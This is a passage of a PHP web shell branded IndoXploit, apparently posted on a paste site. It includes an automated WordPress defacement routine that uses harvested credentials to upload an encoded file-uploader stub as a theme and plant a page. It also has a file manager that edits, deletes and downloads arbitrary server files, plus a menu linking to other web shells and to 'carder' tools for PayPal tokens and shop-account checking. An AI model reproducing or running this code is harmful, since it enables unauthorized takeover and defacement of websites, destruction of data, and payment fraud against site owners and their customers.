  2246. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2247. $www = "m.php";
  2248. $fp5 = fopen($www,"w");
  2249. fputs($fp5,$upload3);
  2250. $post2 = array(
  2251. "_wpnonce" => "$anu2",
  2252. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2253. "themezip" => "@$www",
  2254. "install-theme-submit" => "Install Now",
  2255. );
  2256. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2257. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2258. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2259. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2260. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2261. curl_setopt($ch, CURLOPT_POST, 1);
  2262. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2263. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2264. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2265. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2266. $data3 = curl_exec($ch);
  2267. curl_close($ch);
  2268. $y = date("Y");
  2269. $m = date("m");
  2270. $namafile = "id.php";
  2271. $fpi = fopen($namafile,"w");
  2272. fputs($fpi,$script);
  2273. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2274. curl_setopt($ch6, CURLOPT_POST, true);
  2275. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2276. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2277. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2278. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2279. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  2280. $postResult = curl_exec($ch6);
  2281. curl_close($ch6);
  2282. $as = "$target/k.php";
  2283. $bs = anucurl($as);
  2284. if(preg_match("#$script#is", $bs)) {
  2285. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2286. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2287. } else {
  2288. echo "[-] <font color='red'>gagal mepes...</font><br>";
  2289. echo "[!!] coba aja manual: <br>";
  2290. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2291. echo "[+] username: <font color=lime>$user</font><br>";
  2292. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2293. }
  2294. mysql_close($conn);
  2295. }
  2296. }
  2297. } else {
  2298. echo "<center><h1>WordPress Auto Deface V.2</h1>
  2299. <form method='post'>
  2300. Link Config: <br>
  2301. <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  2302. <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2303. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2304. </form></center>";
  2305. }
  2306. } elseif($_GET['act'] == 'newfile') {
  2307. if($_POST['new_save_file']) {
  2308. $newfile = htmlspecialchars($_POST['newfile']);
  2309. $fopen = fopen($newfile, "a+");
  2310. if($fopen) {
  2311. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  2312. } else {
  2313. $act = "<font color=red>permission denied</font>";
  2314. }
  2315. }
  2316. echo $act;
  2317. echo "<form method='post'>
  2318. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  2319. <input type='submit' name='new_save_file' value='Submit'>
  2320. </form>";
  2321. } elseif($_GET['act'] == 'newfolder') {
  2322. if($_POST['new_save_folder']) {
  2323. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  2324. if(!mkdir($new_folder)) {
  2325. $act = "<font color=red>permission denied</font>";
  2326. } else {
  2327. $act = "<script>window.location='?dir=".$dir."';</script>";
  2328. }
  2329. }
  2330. echo $act;
  2331. echo "<form method='post'>
  2332. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  2333. <input type='submit' name='new_save_folder' value='Submit'>
  2334. </form>";
  2335. } elseif($_GET['act'] == 'rename_dir') {
  2336. if($_POST['dir_rename']) {
  2337. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  2338. if($dir_rename) {
  2339. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2340. } else {
  2341. $act = "<font color=red>permission denied</font>";
  2342. }
  2343. echo "".$act."<br>";
  2344. }
  2345. echo "<form method='post'>
  2346. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  2347. <input type='submit' name='dir_rename' value='rename'>
  2348. </form>";
  2349. } elseif($_GET['act'] == 'delete_dir') {
  2350. function Delete($path)
  2351. {
  2352. if (is_dir($path) === true)
  2353. {
  2354. $files = array_diff(scandir($path), array('.', '..'));
  2355. foreach ($files as $file)
  2356. {
  2357. Delete(realpath($path) . '/' . $file);
  2358. }
  2359. return rmdir($path);
  2360. }
  2361. else if (is_file($path) === true)
  2362. {
  2363. return unlink($path);
  2364. }
  2365. return false;
  2366. }
  2367. $delete_dir = Delete($dir);
  2368. if($delete_dir) {
  2369. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  2370. } else {
  2371. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  2372. }
  2373. echo $act;
  2374. } elseif($_GET['act'] == 'view') {
  2375. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2376. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  2377. } elseif($_GET['act'] == 'edit') {
  2378. if($_POST['save']) {
  2379. $save = file_put_contents($_GET['file'], $_POST['src']);
  2380. if($save) {
  2381. $act = "<font color=lime>Saved!</font>";
  2382. } else {
  2383. $act = "<font color=red>permission denied</font>";
  2384. }
  2385. echo "".$act."<br>";
  2386. }
  2387. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2388. echo "<form method='post'>
  2389. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  2390. <input type='submit' value='Save' name='save' style='width: 500px;'>
  2391. </form>";
  2392. } elseif($_GET['act'] == 'rename') {
  2393. if($_POST['do_rename']) {
  2394. $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  2395. if($rename) {
  2396. $act = "<script>window.location='?dir=".$dir."';</script>";
  2397. } else {
  2398. $act = "<font color=red>permission denied</font>";
  2399. }
  2400. echo "".$act."<br>";
  2401. }
  2402. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  2403. echo "<form method='post'>
  2404. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  2405. <input type='submit' name='do_rename' value='rename'>
  2406. </form>";
  2407. } elseif($_GET['act'] == 'delete') {
  2408. $delete = unlink($_GET['file']);
  2409. if($delete) {
  2410. $act = "<script>window.location='?dir=".$dir."';</script>";
  2411. } else {
  2412. $act = "<font color=red>permission denied</font>";
  2413. }
  2414. echo $act;
  2415. }else {
  2416. if(is_dir($dir) == true) {
  2417. echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  2418. <tr>
  2419. <th class="th_home"><center>Name</center></th>
  2420. <th class="th_home"><center>Type</center></th>
  2421. <th class="th_home"><center>Size</center></th>
  2422. <th class="th_home"><center>Last Modified</center></th>
  2423. <th class="th_home"><center>Permission</center></th>
  2424. <th class="th_home"><center>Action</center></th>
  2425. </tr>';
  2426. $scandir = scandir($dir);
  2427. foreach($scandir as $dirx) {
  2428. $dtype = filetype("$dir/$dirx");
  2429. $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  2430. if(!is_dir("$dir/$dirx")) continue;
  2431. if($dirx === '..') {
  2432. $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  2433. } elseif($dirx === '.') {
  2434. $href = "<a href='?dir=$dir'>$dirx</a>";
  2435. } else {
  2436. $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  2437. }
  2438. if($dirx === '.' || $dirx === '..') {
  2439. $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  2440. } else {
  2441. $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2442. }
  2443. echo "<tr>";
  2444. echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  2445. echo "<td class='td_home'><center>$dtype</center></td>";
  2446. echo "<td class='td_home'><center>-</center></th>";
  2447. echo "<td class='td_home'><center>$dtime</center></td>";
  2448. echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  2449. echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2450. }
  2451. echo "</tr>";
  2452. foreach($scandir as $file) {
  2453. $ftype = filetype("$dir/$file");
  2454. $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2455. $size = filesize("$dir/$file")/1024;
  2456. $size = round($size,3);
  2457. if($size > 1024) {
  2458. $size = round($size/1024,2). 'MB';
  2459. } else {
  2460. $size = $size. 'KB';
  2461. }
  2462. if(!is_file("$dir/$file")) continue;
  2463. echo "<tr>";
  2464. echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  2465. echo "<td class='td_home'><center>$ftype</center></td>";
  2466. echo "<td class='td_home'><center>$size</center></td>";
  2467. echo "<td class='td_home'><center>$ftime</center></td>";
  2468. echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  2469. echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  2470. }
  2471. echo "</tr></table>";
  2472. } else {
  2473. echo "<font color=red>can't open directory</font>";
  2474. }
  2475. }
  2476. echo "<center><hr><form>
  2477. <select onchange='if (this.value) window.open(this.value);'>
  2478. <option selected='selected' value=''> Tools Creator </option>
  2479. <option value='$ling=wso'>WSO 2.8.1</option>
  2480. <option value='$ling=injection'>1n73ction v3</option>
  2481. <option value='$ling=wk'>WHMCS Killer</option>
  2482. <option value='$ling=adminer'>Adminer</option>
  2483. <option value='$ling=b374k'>b374k Shell</option>
  2484. <option value='$ling=b374k323'>b374k 3.2</option>
  2485. <option value='$ling=bh'>BlackHat Shell</option>
  2486. <option value='$ling=dhanus'>Dhanush Shell</option>
  2487. <option value='$ling=r57'>R57 Shell</option>
  2488. <option value='$ling=encodedecode'>Encode Decode</option>
  2489. <option value='$ling=r57'>R57 Shell</option>
  2490. </select>
  2491. <select onchange='if (this.value) window.open(this.value);'>
  2492. <option selected='selected' value=''> Tools Carder </option>
  2493. <option value='$ling=extractor'>DB Email Extractor</option>
  2494. <option value='$ling=promailerv2'>Pro Mailer V2</option>
  2495. <option value='$ling=bukalapak'>BukaLapak Checker</option>
  2496. <option value='$ling=tokopedia'>TokoPedia Checker</option>
  2497. <option value='$ling=tokenpp'>Paypal Token Generator</option>
  2498. <option value='$ling=mailer'>Mailer</option>
  2499. <option value='$ling=gamestopceker'>GamesTop Checker</option>
  2500. </select>
  2501. <noscript><input type='submit' value='Submit'></noscript>
  2502. </form>Copyright &copy; ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=lime>IndoXploit</font></a> </center>";
  2503. ?>
  2504. </html>
Add Comment
Please, Sign In to add comment